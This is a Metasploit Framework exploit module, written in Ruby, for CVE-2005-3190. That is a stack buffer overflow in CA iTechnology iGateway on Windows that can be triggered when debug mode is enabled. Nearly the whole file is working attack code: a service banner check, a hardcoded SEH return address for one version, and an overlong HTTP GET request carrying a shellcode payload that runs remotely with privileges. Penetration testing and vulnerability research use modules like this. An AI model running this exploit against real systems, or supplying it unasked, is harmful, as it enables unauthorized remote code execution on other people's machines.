CA iTechnology iGateway Debug Mode Buffer Overflow



##

# $Id: ca_igateway_debug.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote
    Rank = AverageRanking

    include Msf::Exploit::Remote::Tcp
    include Msf::Exploit::Seh

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'CA iTechnology iGateway Debug Mode Buffer Overflow',
            'Description'    => %q{
                    This module exploits a vulnerability in the Computer Associates
                iTechnology iGateway component. When <Debug>True</Debug> is enabled
                in igateway.conf (non-default), it is possible to overwrite the stack
                and execute code remotely. This module works best with Ordinal payloads.
            },
            'Author'         => 'patrick',
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 9179 $',
            'References'     =>
                [
                    [ 'CVE', '2005-3190' ],
                    [ 'OSVDB', '19920' ],
                    [ 'URL', 'http://www.ca.com/us/securityadvisor/vulninfo/vuln.aspx?id=33485' ],
                    [ 'URL', 'http://www.milw0rm.com/exploits/1243' ],
                    [ 'BID', '15025' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'seh',
                },
            'Payload'        =>
                {
                    'Space'    => 1024,
                    'BadChars' => "\x00\x0a\x0d\x20",
                    'StackAdjustment' => -3500,
                    'Compat'   =>
                    {
                        'ConnectionType' => '+ws2ord',
                    },
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'iGateway 3.0.40621.0', { 'Ret' => 0x120bd9c4 } ], # p/p/r xerces-c_2_1_0.dll
                ],
            'Privileged'     => true,
            'DisclosureDate' => 'Oct 06 2005',
            'DefaultTarget'  => 0))

        register_options(
            [
                Opt::RPORT(5250),
            ], self.class)
    end

    def check
        connect
        sock.put("HEAD / HTTP/1.0\r\n\r\n\r\n")
        banner = sock.get(-1,3)

        if (banner =~ /GET and POST methods are the only methods supported at this time/) # Unique?
            return Exploit::CheckCode::Detected
        end
        return Exploit::CheckCode::Safe
    end

    def exploit
        connect

        seh = generate_seh_payload(target.ret)
        buffer = Rex::Text.rand_text_alphanumeric(5000)
        buffer[1082, seh.length] = seh
        sploit = "GET /" + buffer + " HTTP/1.0"

        sock.put(sploit + "\r\n\r\n\r\n")

        disconnect
        handler
    end
end